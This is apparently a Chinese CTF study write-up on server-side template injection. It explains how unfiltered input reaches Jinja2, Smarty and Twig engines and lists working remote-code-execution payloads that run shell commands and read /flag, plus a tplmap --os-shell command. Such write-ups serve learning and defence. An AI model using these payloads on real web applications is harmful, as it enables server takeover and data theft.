这几天刷题一直遇到考察SSTI模板注入的题,之前也没有好好了解过,如果叙述原理的话需要扎实的python基础,现在python还学的不是太好,就以遇到的CTF题做一个总结。
模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个HTML代码。
通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。就比如一个销售软件来说,假设会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:
$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );
发现可以 XSS,但是问题不止如此。这行代码其实有更深层次的隐患,假设发送如下请求:
custom_email={{7*7}} // GET 参数
49 // $output 结果
服务器执行了传过去的数据,如果服务器端未进行过滤则可能引发一些攻击,模板注入和 SQL 注入的产生有几分相似——都是将未过滤的数据传给引擎解析。
模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig
常见模板注入:
flask/jinja2模板注入
PHP/模版引擎Twig注入
python2_任意执行
#(system函数换为popen('').read(),需要导入os模块)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#(不需要导入os模块,直接从别的模块调用)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#常用的py2 EXP
().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
python3_任意执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
遇到考察SSTI的题目,可按照下面的图进行测试,从而判断出是那个模板引擎,再去找对应的payload
——jinja2
随便输入然后查看源代码发现
ssti
,服务器模板注入,查了一个payload直接就可以查到flag
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
其实详细的做法应该是先去判断漏洞点,因为这里输入就回显,而且不是php
,所以就要去猜想是不是ssti
,这里出题师傅也给出提示,就是ssti
,接下来判断是什么模板引擎,根据上面的图测试一下,试一下{{7*7}}
发现有回显,判断是jinja2模板(因为是python)
接下来看一下根目录
{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}
接下来读一下flag即可
除此之外,还可以使用Tplmap
工具来做这道题
python tplmap.py -u http://8f55fac1-eb01-4ab6-898c-e9b8600cb0d8.node3.buuoj.cn//qaq?name= --os-shell
<!-- Do you know why i know your ip? -->
应该是与XFF有关的,抓包查看下
发现输入什么便回显什么,一开始尝试了SQL注入、命令执行等,都不行,尝试一下SSTI
果然是,那下面就好办了,只需要根据上面的图来测试出是那个模板即可
在里面输入命令,能够回显,所以是Smarty模板,那下面直接得到flag了
X-Forwarded-For: {{system('cat /flag')}}
——Twig
和The mystery of ip这道题页面一样,测试一下是不是SSTI
确定就是SSTI模板注入,同时模板是Twig(因为页面是PHP)
同时查看提示是
<!-- Why not take a closer look at cookies? -->
应该是要与cookie联系在一起,抓包进行分析
在response中出现一个Set-cookie:user
,使用一下这个参数看看
发现Hello后面会出现回显,那下面就好办了,已经知道模板了,找payload即可
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
https://www.jianshu.com/p/e4aa40458dfd
https://www.cnblogs.com/hackxf/p/10480071.html
未完待续,待遇到新的题目再进行总结